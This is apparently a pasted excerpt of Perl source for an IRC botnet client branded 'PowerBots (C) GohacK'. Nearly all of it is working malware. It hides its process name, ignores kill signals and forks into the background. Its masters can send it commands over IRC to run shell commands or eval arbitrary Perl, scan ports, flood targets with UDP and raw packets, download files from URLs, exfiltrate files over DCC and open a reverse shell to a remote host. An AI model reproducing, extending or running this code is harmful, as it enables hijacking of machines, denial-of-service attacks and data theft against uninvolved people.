  198. # xeQt
  199.  
  200. #my $nick = "STMIK";
  201. my $nick = $nickname[rand scalar @nickname];
  202. my $realname = $xname[rand scalar @xname];
  203. my $ircname = $xident[rand scalar @xident];
  204. my $porta = $rports[rand scalar @rports];
  205. my $xproc = $fakeps[rand scalar @fakeps];
  206. my $Mrx = $Mrx[rand scalar @Mrx];
  207. my $version = 'PowerBots (C) GohacK';
  208.  
  209. $SIG{'INT'} = 'IGNORE';
  210. $SIG{'HUP'} = 'IGNORE';
  211. $SIG{'TERM'} = 'IGNORE';
  212. $SIG{'CHLD'} = 'IGNORE';
  213. $SIG{'PS'} = 'IGNORE';
  214.  
  215.  
  216.  
  217.  
  218.  
  219. use IO::Socket;
  220. use Socket;
  221. use IO::Select;
  222. chdir("$homedir");
  223. $servidor="$ARGV[0]" if $ARGV[0];
  224. $0="$xproc"."\0";
  225. my $pid=fork;
  226. exit if $pid;
  227. die "[x] -> Cannot fork into background: $!" unless defined($pid);
  228. my %irc_servers;
  229. my %DCC;
  230. my $dcc_sel = new IO::Select->new();
  231.  
  232. sub getnick {
  233.   return "$nickname[rand scalar @nickname]".int(rand(20000));
  234. }
  235.  
  236. sub getstore ($$)
  237. {
  238.   my $url = shift;
  239.   my $file = shift;
  240.  
  241.   $http_stream_out = 1;
  242.   open(GET_OUTFILE, "> $file");
  243.   %http_loop_check = ();
  244.   _get($url);
  245.   close GET_OUTFILE;
  246.   return $main::http_get_result;
  247. }
  248. sub _get
  249. {
  250.   my $url = shift;
  251.   my $proxy = "";
  252.   grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  253.   if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  254.     my $host = $1;
  255.     my $port = $2 || 80;
  256.     my $path = $3;
  257.     $path = "/" unless defined($path);
  258.     return _trivial_http_get($host, $port, $path);
  259.   } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  260.     my $host = $1;
  261.     my $port = $2;
  262.     my $path = $url;
  263.     return _trivial_http_get($host, $port, $path);
  264.   } else {
  265.     return undef;
  266.   }
  267. }
  268. sub _trivial_http_get
  269. {
  270.   my($host, $port, $path) = @_;
  271.   my($AGENT, $VERSION, $p);
  272.   #print "HOST=$host, PORT=$port, PATH=$path\n";
  273.  
  274.   $AGENT = "get-minimal";
  275.   $VERSION = "20000118";
  276.  
  277.   $path =~ s/ /%20/g;
  278.  
  279.   require IO::Socket;
  280.   local($^W) = 0;
  281.   my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto   => 'tcp', Timeout  => 60) || return;
  282.  
  283.   $sock->autoflush;
  284.   my $netloc = $host;
  285.   $netloc .= ":$port" if $port != 80;
  286.   my $request = "GET $path HTTP/1.0\015\012"
  287.               . "Host: $netloc\015\012"
  288.               . "User-Agent: $AGENT/$VERSION/u\015\012";
  289.   $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  290.   $request .= "\015\012";
  291.   print $sock $request;
  292.   my $buf = "";
  293.   my $n;
  294.   my $b1 = "";
  295.   while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  296.     if ($b1 eq "") {
  297.       $b1 = $buf;
  298.       $buf =~ s/.+?\015?\012\015?\012//s;
  299.     }
  300.     if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  301.   }
  302.   return undef unless defined($n);
  303.   $main::http_get_result = 200;
  304.   if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  305.     $main::http_get_result = $1;
  306.     # print "CODE=$main::http_get_result\n$b1\n";
  307.     if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
  308.       my $url = $1;
  309.       return undef if $http_loop_check{$url}++;
  310.       return _get($url);
  311.     }
  312.     return undef unless $main::http_get_result =~ /^2/;
  313.   }
  314.   return $buf;
  315. }
  316. $sel_cliente = IO::Select->new();
  317. sub sendraw {
  318.   if ($#_ == '1') {
  319.     my $socket = $_[0];
  320.     print $socket "$_[1]\n";
  321.   } else {
  322.       print $IRC_cur_socket "$_[0]\n";
  323.   }
  324. }
  325. sub conectar {
  326.    my $meunick = $_[0];
  327.    my $servidor_con = $_[1];
  328.    my $porta_con = $_[2];
  329.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  330.    if (defined($IRC_socket)) {
  331.      $IRC_cur_socket = $IRC_socket;
  332.      $IRC_socket->autoflush(1);
  333.      $sel_cliente->add($IRC_socket);
  334.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  335.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  336.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  337.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  338.      nick("$meunick");
  339.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  340.      sleep 2;
  341.    }
  342. }
  343. my $line_temp;
  344. while( 1 ) {
  345.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  346.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  347.    &DCC::connections;
  348.    my @ready = $sel_cliente->can_read(0.6);
  349.    next unless(@ready);
  350.    foreach $fh (@ready) {
  351.      $IRC_cur_socket = $fh;
  352.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  353.      $nread = sysread($fh, $msg, 4096);
  354.      if ($nread == 0) {
  355.         $sel_cliente->remove($fh);
  356.         $fh->close;
  357.         delete($irc_servers{$fh});
  358.      }
  359.      @lines = split (/\n/, $msg);
  360.      for(my $c=0; $c<= $#lines; $c++) {
  361.        $line = $lines[$c];
  362.        $line=$line_temp.$line if ($line_temp);
  363.        $line_temp='';
  364.        $line =~ s/\r$//;
  365.        unless ($c == $#lines) {
  366.          parse("$line");
  367.        } else {
  368.            if ($#lines == 0) {
  369.              parse("$line");
  370.            } elsif ($lines[$c] =~ /\r$/) {
  371.                parse("$line");
  372.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  373.                parse("$line");
  374.            } else {
  375.                $line_temp = $line;
  376.            }
  377.        }
  378.       }
  379.    }
  380. }
  381.  
  382. sub parse {
  383.    my $servarg = shift;
  384.    if ($servarg =~ /^PING \:(.*)/) {
  385.      sendraw("PONG :$1");
  386.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  387.        my $pn=$1; my $hostnam3=$3; my $onde = $4; my $args = $5;
  388.        if ($args =~ /^\001VERSION\001$/) {
  389.          notice("$pn", "".$Mrx."");
  390.        }
  391.        elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  392.          notice("$pn", "\001PONG\001");
  393.        }
  394.        if (grep {$_ =~ /^\Q$hostnam3\E$/i } @hostauth) {
  395.        if (grep {$_ =~ /^\Q$pn\E$/i } @mast3rs) {
  396.          if ($onde eq "$meunick"){
  397.            shell("$pn", "$args");
  398.         }
  399.     if ($args =~ /^!(.*)/){
  400.        ircase("$pn","$chan","$1");
  401.     }
  402.         if ($args =~ /^(\Q$meunick\E|\Q$xeqt\E)\s+(.*)/ ) {
  403.             my $natrix = $1;
  404.             my $arg = $2;
  405.             if ($arg =~ /^\!(.*)/) {
  406.               ircase("$pn","$onde","$1");
  407.             } elsif ($arg =~ /^\@(.*)/) {
  408.                 $ondep = $onde;
  409.                 $ondep = $pn if $onde eq $meunick;
  410.                 bfunc("$ondep","$1");
  411.             } else {
  412.                 shell("$onde", "$arg");
  413.             }
  414.           }
  415.         }
  416.       }
  417.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  418.        if (lc($1) eq lc($meunick)) {
  419.          $meunick=$4;
  420.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  421.        }
  422.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  423.        $meunick = getnick();
  424.        nick("".$meunick."-");
  425.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  426.        $meunick = $2;
  427.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  428.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  429.        foreach my $canal (@admchan){
  430.          sendraw("JOIN $canal muietie");
  431.        }
  432.    }
  433. }
  434. sub bfunc {
  435.   my $printl = $_[0];
  436.   my $funcarg = $_[1];
  437.   if (my $pid = fork) {
  438.      waitpid($pid, 0);
  439.   } else {
  440.       if (fork)
  441.        {
  442.          exit;
  443.        }
  444.    else
  445.    {
  446.       # Quick scan
  447.            if ($funcarg =~ /^ps (.*)/) {
  448.              my $hostip="$1";
  449.         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Portscanning\003\002: $1 \002\00312Ports:\003\002 default");
  450.              my (@aberta, %porta_banner);
  451.              foreach my $porta (@portas)  {
  452.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  453.                 if ($scansock) {
  454.                    push (@aberta, $porta);
  455.                    $scansock->close;
  456.          sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
  457.                 }
  458.              }
  459.              if (@aberta) {
  460.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Port Scan Complete with target: $1 ");
  461.              } else {
  462.                  sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[x]\0034 No open ports found on\002 $1");
  463.              }
  464.            }
  465.       # NMAP, lol
  466.            elsif ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/)
  467.       {
  468.               my $hostname="$1";
  469.               my $portstart = "$2";
  470.                my $portend = "$3";
  471.                my (@abertas, %porta_banner);
  472.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312xMap Portscanning\003\002: $1 \002\00312Ports:\003\002 $2-$3");
  473.                foreach my $porta ($portstart..$portend)
  474.              {
  475.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  476.                if ($scansock) {
  477.                  push (@abertas, $porta);
  478.                  $scansock->close;
  479.                  if ($xstats)
  480.        {
  481.                    sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
  482.                  }
  483.                }
  484.              }
  485.              if (@abertas) {
  486.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Scan Complate\003\002");
  487.              } else {
  488.                sendraw($IRC_cur_socket,"PRIVMSG $printl :\002\00312No ports found..\002");
  489.              }
  490.             }
  491.       # Remove
  492.       elsif ($funcarg =~ /^rm/)
  493.       {
  494.          system("cd /var/tmp ; rm -rf cb find god* wunder* udev* lib*");
  495.       sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Quickdel)\002\00314 Removed files and folders ");
  496.       }
  497.       # Version
  498.       elsif ($funcarg =~ /^version/)
  499.       {
  500.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Version)\002\00314 $version ");
  501.       }
  502.       # Download
  503.            elsif ($funcarg =~ /^down\s+(.*)\s+(.*)/)
  504.       {
  505.               getstore("$1", "$2");
  506.               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Download)\002\00314 Page: $2 (File: $1)") if ($xstats);
  507.            }
  508.        # Udp
  509.             elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  510.               return unless $pacotes;
  511.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  512.               my $alvo=inet_aton("$1");
  513.               my $porta = "$2";
  514.               my $tempo = "$3";
  515.               my $pacote;
  516.               my $pacotese;
  517.               my $fim = time + $tempo;
  518.               my $pacota = 1;
  519.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP DDoSing)\003 Attacking\002: $1 - \002Time\002: $tempo"."seconds");
  520.               while (($pacota == "1") && ($pacotes == "1")) {
  521.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  522.                 $pacote=$rand x $rand x $rand;
  523.                 $porta = int(rand 65000) +1 if ($porta == "0");
  524.                 send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  525.               }
  526.               if ($xstats)
  527.               {
  528.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP Complete):\003\002 $1 - \002Sendt\002: $pacotese"."kb - \002Time\002: $tempo"."seconds");
  529.              }
  530.             }
  531.  
  532.        # Backconnect
  533.             elsif ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  534.               my $host = "$1";
  535.               my $porta = "$2";
  536.               my $proto = getprotobyname('tcp');
  537.               my $iaddr = inet_aton($host);
  538.               my $paddr = sockaddr_in($porta, $iaddr);
  539.               my $shell = "/bin/sh -i";
  540.               if ($^O eq "MSWin32") {
  541.                 $shell = "cmd.exe";
  542.               }
  543.               socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  544.               connect(SOCKET, $paddr) or die "connect: $!";
  545.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[x] ->\0034 Injection ...");
  546.               open(STDIN, ">&SOCKET");
  547.               open(STDOUT, ">&SOCKET");
  548.               open(STDERR, ">&SOCKET");
  549.               system("$shell");
  550.          system("cd /tmp/.mrx");
  551.               close(STDIN);
  552.               close(STDOUT);
  553.               close(STDERR);
  554.             }
  555.            exit;
  556.        }
  557.   }
  558. }
  559.  
  560. sub ircase {
  561.   my ($kem, $printl, $case) = @_;
  562.  
  563.    if ($case =~ /^join (.*)/) {
  564.      j("$1");
  565.    }
  566.    elsif ($case =~ /^part (.*)/) {
  567.       p("$1");
  568.    }
  569.    elsif ($case =~ /^rejoin\s+(.*)/) {
  570.       my $chan = $1;
  571.       if ($chan =~ /^(\d+) (.*)/) {
  572.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  573.           p("$2");
  574.           j("$2");
  575.         }
  576.       } else {
  577.           p("$chan");
  578.           j("$chan");
  579.       }
  580.    }
  581.    elsif ($case =~ /^op/) {
  582.       op("$printl", "$kem") if $case eq "op";
  583.       my $oarg = substr($case, 3);
  584.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  585.    }
  586.    elsif ($case =~ /^deop/) {
  587.       deop("$printl", "$kem") if $case eq "deop";
  588.       my $oarg = substr($case, 5);
  589.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  590.    }
  591.    elsif ($case =~ /^voice/) {
  592.       voice("$printl", "$kem") if $case eq "voice";
  593.       $oarg = substr($case, 6);
  594.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  595.    }
  596.    elsif ($case =~ /^devoice/) {
  597.       devoice("$printl", "$kem") if $case eq "devoice";
  598.       $oarg = substr($case, 8);
  599.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  600.    }
  601.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  602.       msg("$1", "$2");
  603.    }
  604.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  605.       for (my $cf = 1; $cf <= $1; $cf++) {
  606.         msg("$2", "$3");
  607.       }
  608.    }
  609.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  610.       for (my $cf = 1; $cf <= $1; $cf++) {
  611.         ctcp("$2", "$3");
  612.       }
  613.    }
  614.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  615.       ctcp("$1", "$2");
  616.    }
  617.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  618.       invite("$1", "$2");
  619.    }
  620.    elsif ($case =~ /^nick (.*)/) {
  621.       nick("$1");
  622.    }
  623.    elsif ($case =~ /^jump\s+(\S+)\s+(\S+)/) {
  624.        conectar("$2", "$1", 6667);
  625.    }
  626.    elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  627.       DCC::SEND("$1", "$2");
  628.    }
  629.    elsif ($case =~ /^raw (.*)/) {
  630.       sendraw("$1");
  631.    }
  632.    elsif ($case =~ /^eval (.*)/) {
  633.       eval "$1";
  634.    }
  635.    elsif ($case =~ /^rj\s+(\S+)\s+(\d+)/) {
  636.     sleep int(rand($2));
  637.     j("$1");
  638.    }
  639.    elsif ($case =~ /^rp\s+(\S+)\s+(\d+)/) {
  640.     sleep int(rand($2));
  641.     p("$1");
  642.    }
  643.    elsif ($case =~ /^quit/) {
  644.      quit();
  645.    }
  646.    elsif ($case =~ /^rand/) {
  647.     my $novonick = getnick();
  648.      nick("$novonick");
  649.    }
  650.    elsif ($case =~ /^stat (.*)/) {
  651.      if ($1 eq "on") {
  652.       $xstats = 1;
  653.       msg("$printl", "Satus enabled");
  654.      } elsif ($1 eq "off") {
  655.       $xstats = 0;
  656.       msg("$printl", "Status disable");
  657.      }
  658.    }
  659.    elsif ($case =~ /^bang (.*)/) {
  660.      if ($1 eq "on") {
  661.       $pacotes = 1;
  662.       msg("$printl", "[x] Bang mode enabled") if ($xstats == "1");
  663.      } elsif ($1 eq "off") {
  664.       $pacotes = 0;
  665.       msg("$printl", "[x] Bang mode disabled") if ($xstats == "1");
  666.      }
  667.    }
  668. }
  669. sub shell {
  670.   return unless $shellaccess;
  671.   my $printl=$_[0];
  672.   my $comando=$_[1];
  673.   if ($comando =~ /cd (.*)/) {
  674.     chdir("$1") || msg("$printl", "cd: $1".": No such file or directory");
  675.     return;
  676.   }
  677.   elsif ($pid = fork) {
  678.      waitpid($pid, 0);
  679.   } else {
  680.       if (fork) {
  681.          exit;
  682.        } else {
  683.            my @resp=`$comando 2>&1 3>&1`;
  684.            my $c=0;
  685.            foreach my $linha (@resp) {
  686.              $c++;
  687.              chop $linha;
  688.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  689.              if ($c >= "$linas_max") {
  690.                $c=0;
  691.                sleep $sleep;
  692.              }
  693.            }
  694.            exit;
  695.        }
  696.   }
  697. }
  698.  
  699. sub attacker {
  700.   my $iaddr = inet_aton($_[0]);
  701.   my $msg = 'B' x $_[1];
  702.   my $ftime = $_[2];
  703.   my $cp = 0;
  704.   my (%pacotes);
  705.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  706.  
  707.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  708.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  709.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  710.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  711.   return(undef) if $cp == 4;
  712.   my $itime = time;
  713.   my ($cur_time);
  714.   while ( 1 ) {
  715.      for (my $porta = 1; $porta <= 65535; $porta++) {
  716.        $cur_time = time - $itime;
  717.        last if $cur_time >= $ftime;
  718.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  719.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  720.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  721.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  722.        for (my $pc = 3; $pc <= 255;$pc++) {
  723.          next if $pc == 6;
  724.          $cur_time = time - $itime;
  725.          last if $cur_time >= $ftime;
  726.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  727.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  728.        }
  729.      }
  730.      last if $cur_time >= $ftime;
  731.   }
  732.   return($cur_time, %pacotes);
  733. }
  734.  
  735. sub action {
  736.    return unless $#_ == 1;
  737.    sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  738. }
  739. sub ctcp {
  740.    return unless $#_ == 1;
  741.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  742. }
  743. sub msg {
  744.    return unless $#_ == 1;
  745.    sendraw("PRIVMSG $_[0] :$_[1]");
  746. }
  747. sub notice {
  748.    return unless $#_ == 1;
  749.    sendraw("NOTICE $_[0] :$_[1]");
  750. }
  751. sub op {
  752.    return unless $#_ == 1;
  753.    sendraw("MODE $_[0] +o $_[1]");
  754. }
  755. sub deop {
  756.    return unless $#_ == 1;
  757.    sendraw("MODE $_[0] -o $_[1]");
  758. }
  759. sub hop {
  760.     return unless $#_ == 1;
  761.    sendraw("MODE $_[0] +h $_[1]");
  762. }
  763. sub dehop {
  764.    return unless $#_ == 1;
  765.    sendraw("MODE $_[0] +h $_[1]");
  766. }
  767. sub voice {
  768.    return unless $#_ == 1;
  769.    sendraw("MODE $_[0] +v $_[1]");
  770. }
  771. sub devoice {
  772.    return unless $#_ == 1;
  773.    sendraw("MODE $_[0] -v $_[1]");
  774. }
  775. sub ban {
  776.    return unless $#_ == 1;
  777.    sendraw("MODE $_[0] +b $_[1]");
  778. }
  779. sub unban {
  780.    return unless $#_ == 1;
  781.    sendraw("MODE $_[0] -b $_[1]");
  782. }
  783. sub kick {
  784.    return unless $#_ == 1;
  785.    sendraw("KICK $_[0] $_[1] :$_[2]");
  786. }
  787. sub modo {
  788.    return unless $#_ == 0;
  789.    sendraw("MODE $_[0] $_[1]");
  790. }
  791. sub mode { modo(@_); }
  792. sub j { &join(@_); }
  793. sub join {
  794.    return unless $#_ == 0;
  795.    sendraw("JOIN $_[0]");
  796. }
  797. sub p { part(@_); }
  798. sub part {sendraw("PART $_[0]");}
  799. sub nick {
  800.   return unless $#_ == 0;
  801.   sendraw("NICK $_[0]");
  802. }
  803. sub invite {
  804.    return unless $#_ == 1;
  805.    sendraw("INVITE $_[1] $_[0]");
  806. }
  807. sub topico {
  808.    return unless $#_ == 1;
  809.    sendraw("TOPIC $_[0] $_[1]");
  810. }
  811. sub topic { topico(@_); }
  812. sub whois {
  813.   return unless $#_ == 0;
  814.   sendraw("WHOIS $_[0]");
  815. }
  816. sub who {
  817.   return unless $#_ == 0;
  818.   sendraw("WHO $_[0]");
  819. }
  820. sub names {
  821.   return unless $#_ == 0;
  822.   sendraw("NAMES $_[0]");
  823. }
  824. sub away {
  825.   sendraw("AWAY $_[0]");
  826. }
  827. sub back { away(); }
  828. sub quit {
  829.   sendraw("QUIT :$_[0]");
  830.   exit;
  831. }
  832.  
  833. package DCC;
  834. sub connections {
  835.    my @ready = $dcc_sel->can_read(1);
  836. #   return unless (@ready);
  837.    foreach my $fh (@ready) {
  838.      my $dcctipo = $DCC{$fh}{tipo};
  839.      my $arquivo = $DCC{$fh}{arquivo};
  840.      my $bytes = $DCC{$fh}{bytes};
  841.      my $cur_byte = $DCC{$fh}{curbyte};
  842.      my $nick = $DCC{$fh}{nick};
  843.      my $msg;
  844.      my $nread = sysread($fh, $msg, 10240);
  845.      if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  846.         $DCC{$fh}{status} = "Cancelado";
  847.         $DCC{$fh}{ftime} = time;
  848.         $dcc_sel->remove($fh);
  849.         $fh->close;
  850.         next;
  851.      }
  852.      if ($dcctipo eq "get") {
  853.         $DCC{$fh}{curbyte} += length($msg);
  854.  
  855.         my $cur_byte = $DCC{$fh}{curbyte};
  856.  
  857.         open(FILE, ">> $arquivo");
  858.         print FILE "$msg" if ($cur_byte <= $bytes);
  859.         close(FILE);
  860.  
  861.         my $packbyte = pack("N", $cur_byte);
  862.         print $fh "$packbyte";
  863.  
  864.         if ($bytes == $cur_byte) {
  865.            $dcc_sel->remove($fh);
  866.            $fh->close;
  867.            $DCC{$fh}{status} = "Recebido";
  868.            $DCC{$fh}{ftime} = time;
  869.            next;
  870.         }
  871.      } elsif ($dcctipo eq "send") {
  872.           my $send = $fh->accept;
  873.           $send->autoflush(1);
  874.           $dcc_sel->add($send);
  875.           $dcc_sel->remove($fh);
  876.           $DCC{$send}{tipo} = 'sendcon';
  877.           $DCC{$send}{itime} = time;
  878.           $DCC{$send}{nick} = $nick;
  879.           $DCC{$send}{bytes} = $bytes;
  880.           $DCC{$send}{curbyte} = 0;
  881.           $DCC{$send}{arquivo} = $arquivo;
  882.           $DCC{$send}{ip} = $send->peerhost;
  883.           $DCC{$send}{porta} = $send->peerport;
  884.           $DCC{$send}{status} = "Enviando";
  885.           open(FILE, "< $arquivo");
  886.           my $fbytes;
  887.           read(FILE, $fbytes, 1024);
  888.           print $send "$fbytes";
  889.           close FILE;
  890. #          delete($DCC{$fh});
  891.      } elsif ($dcctipo eq 'sendcon') {
  892.           my $bytes_sended = unpack("N", $msg);
  893.           $DCC{$fh}{curbyte} = $bytes_sended;
  894.           if ($bytes_sended == $bytes) {
  895.              $fh->close;
  896.              $dcc_sel->remove($fh);
  897.              $DCC{$fh}{status} = "Enviado";
  898.              $DCC{$fh}{ftime} = time;
  899.              next;
  900.           }
  901.           open(SENDFILE, "< $arquivo");
  902.           seek(SENDFILE, $bytes_sended, 0);
  903.           my $send_bytes;
  904.           read(SENDFILE, $send_bytes, 1024);
  905.           print $fh "$send_bytes";
  906.           close(SENDFILE);
  907.      }
  908.    }
  909. }
  910.  
  911. sub SEND {
  912.   my ($nick, $arquivo) = @_;
  913.   unless (-r "$arquivo") {
  914.     return(0);
  915.   }
  916.   my $dccark = $arquivo;
  917.   $dccark =~ s/[.*\/](\S+)/$1/;
  918.   my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  919.   my $longip = unpack("N",inet_aton($meuip));
  920.   my @filestat = stat($arquivo);
  921.   my $size_total=$filestat[7];
  922.   if ($size_total == 0) {
  923.      return(0);
  924.   }
  925.   my ($porta, $sendsock);
  926.   do {
  927.     $porta = int rand(64511);
  928.     $porta += 1024;
  929.     $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  930.   } until $sendsock;
  931.   $DCC{$sendsock}{tipo} = 'send';
  932.   $DCC{$sendsock}{nick} = $nick;
  933.   $DCC{$sendsock}{bytes} = $size_total;
  934.   $DCC{$sendsock}{arquivo} = $arquivo;
  935.   &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  936. }
  937. sub GET {
  938.   my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  939.   return(0) if (-e "$arquivo");
  940.   if (open(FILE, "> $arquivo")) {
  941.      close FILE;
  942.   } else {
  943.     return(0);
  944.   }
  945.   my $dccip=fixaddr($dcclongip);
  946.   return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  947.   my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  948.   $dccsock->autoflush(1);
  949.   $dcc_sel->add($dccsock);
  950.   $DCC{$dccsock}{tipo} = 'get';
  951.   $DCC{$dccsock}{itime} = time;
  952.   $DCC{$dccsock}{nick} = $nick;
  953.   $DCC{$dccsock}{bytes} = $bytes;
  954.   $DCC{$dccsock}{curbyte} = 0;
  955.   $DCC{$dccsock}{arquivo} = $arquivo;
  956.   $DCC{$dccsock}{ip} = $dccip;
  957.   $DCC{$dccsock}{porta} = $dccporta;
  958.   $DCC{$dccsock}{status} = "Recebendo";
  959. }
  960. sub Status {
  961.   my $socket = shift;
  962.   my $sock_tipo = $DCC{$socket}{tipo};
  963.   unless (lc($sock_tipo) eq "chat") {
  964.     my $nick = $DCC{$socket}{nick};
  965.     my $arquivo = $DCC{$socket}{arquivo};
  966.     my $itime = $DCC{$socket}{itime};
  967.     my $ftime = time;
  968.     my $status = $DCC{$socket}{status};
  969.     $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  970.  
  971.     my $d_time = $ftime-$itime;
  972.  
  973.     my $cur_byte = $DCC{$socket}{curbyte};
  974.     my $bytes_total =  $DCC{$socket}{bytes};
  975.  
  976.     my $rate = 0;
  977.     $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  978.     my $porcen = ($cur_byte*100)/$bytes_total;
  979.  
  980.     my ($r_duv, $p_duv);
  981.     if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  982.        $r_duv = $3; $r_duv++ if $4 >= 5;
  983.        $rate = "$1\.$2"."$r_duv";
  984.     }
  985.     if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  986.        $p_duv = $3; $p_duv++ if $4 >= 5;
  987.        $porcen = "$1\.$2"."$p_duv";
  988.     }
  989.     return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  990.   }
  991.   return(0);
  992. }
  993.  
  994. sub fixaddr {
  995.     my ($address) = @_;
  996.  
  997.     chomp $address;
  998.     if ($address =~ /^\d+$/) {
  999.         return inet_ntoa(pack "N", $address);
  1000.     } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  1001.         return $address;
  1002.     } elsif ($address =~ tr/a-zA-Z//) {
  1003.         return inet_ntoa(((gethostbyname($address))[4])[0]);
  1004.     } else {
  1005.         return;
  1006.     }
  1007. }
Add Comment
Please, Sign In to add comment